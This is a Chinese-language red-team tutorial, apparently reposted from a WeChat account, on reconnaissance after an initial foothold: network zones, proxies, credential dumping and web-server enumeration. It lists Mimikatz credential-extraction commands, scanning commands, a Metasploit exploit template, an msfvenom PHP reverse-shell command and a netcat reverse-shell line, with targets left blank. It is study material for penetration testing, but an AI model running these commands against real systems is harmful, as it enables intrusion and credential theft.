当前机器的本地信息明确身份可以决定后续的渗透路径。例如当前机器是否加入域,如果加入域就可以进一步使用mimikatz尝试获取明文密码,导出的域账户可以向其他机器进行横移。如果是Web服务器,主机名和运行的服务端口可以初步判断机器的角色,并从本地采集信息,为植入木马做准备,有价值的信息如下。
1.命令行输入历史。可以获取最近一次使用曾经输入过的命令,能够快速确定本机的功能,以及连通性的判断。
2.运行进程。确定机器在网络中的角色。如果是Web服务器,一般会连接到数据库服务器。如果是容器环境,则查看配置文件或者环境变量,尝试向容器网络中其他容器进行横移。
3.Traceroute或者tracert。寻找路由器和可管交换机的地址,并进行SNMP协议探测。
当前所在位置位置判断是网络渗透测试中的重要环节,涉及识别目标机器在网络拓扑中的具体区域。不同区域的网络环境和安全策略各有不同,通常包括办公网、核心区等。这些区域的划分并非绝对,而是基于具体的网络架构和安全需求。在大多数情况下,攻击者首先获得权限的机器位于 DMZ 或边缘区域。这些区域一定会暴露于外部网络,比如 Web 服务器或者文件服务器,这些服务器通常被配置为无法直接访问内网,这种“单向访问”策略能够防止外部攻击者直接进入内部网络。核心区是指包含关键基础设施的网络区域,例如域控制器和核心数据库。这些资源对于企业的正常运作至关重要,往往是渗透测试的最终目标。
使用 tcpdump 或者 wireshark 等工具开启网络监听确定本地网络的状况,根据来源IP确定上下游网络的网络段划分情况。
在许多企业网络中,机器可能需要通过代理服务器进行外部通信。为了确认这一点,可以查看代理软件的代理信息在注册表中,以及安装目录中的配置文件可以找到。或者最简单的方法可以使用ping命令判断代理的连通性。
用户凭证和权限信息
收集凭证信息(如用户名和密码)是渗透测试的关键步骤,Mimikatz 是一个强大的工具,能够提取 Windows 系统中的明文密码、哈希值和 Kerberos 票据。
`privilege::debug`:获取调试权限。
`sekurlsa::minidump `:从内存转储中提取凭证。
`sekurlsa::logonpasswords`:提取活动会话中的凭证。
Web 服务器版本收集如果在可达网络中存在Web服务器,识别 Web 服务器的版本能够帮助攻击者发现已知漏洞,制定针对性的攻击策略。
工具:Nmap、WhatWeb、Wappalyzer
命令:
使用 Nmap 执行版本探测:`nmap -sV -p 80,443 `
使用 WhatWeb:`whatweb `
使用 `curl` 获取并查看 HTTP 响应头:`curl -I http://`
目录和文件枚举。识别 Web 应用中的隐藏目录和文件,可能包含敏感信息或管理面板。
工具:DirBuster、Gobuster
命令:
使用 Gobuster 进行目录枚举:`gobusterdir -u http:// -w /path/to/wordlist.txt`
使用 DirBusterGUI 进行目录枚举。
应用漏洞利用对目标应用进行漏洞扫描可以识别可利用的漏洞,帮助攻击者执行进一步的攻击。
工具:BurpSuite、OWASPZAP、Nikto
命令:
使用 Nikto 进行 Web 服务器扫描:`nikto -h http://`
使用 BurpSuite 进行手动测试和扫描,配置代理并通过浏览器访问目标站点。
远程代码执行识别和利用现有的远程代码执行漏洞,可以使攻击者在目标系统上执行任意代码。
工具:Metasploit
命令:
使用 Metasploit 模块进行漏洞利用:`use exploit/multi/http/your_exploit_module`
设置目标和有效负载,执行漏洞利用。
反向 Shell 和持久化获取反向 shell 能够让攻击者控制目标系统的命令行界面,持久化则确保攻击者能够在未来重新访问。获取方法:
工具:Metasploit、Netcat
命令:
使用 Metasploit 生成反向 shell:`msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT= -f php>shell.php`
使用 Netcat 创建反向 shell:`nc -e /bin/sh `
通过系统地收集和分析这些信息,渗透测试者可以为后续的攻击行动做好充分准备,显著提高成功率和效率。在进行信息收集时,务必遵循法律法规和道德标准,确保所有活动均在授权范围内进行。
原文始发于微信公众号(青木生长):红蓝对抗:初步渗透要做的信息收集
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论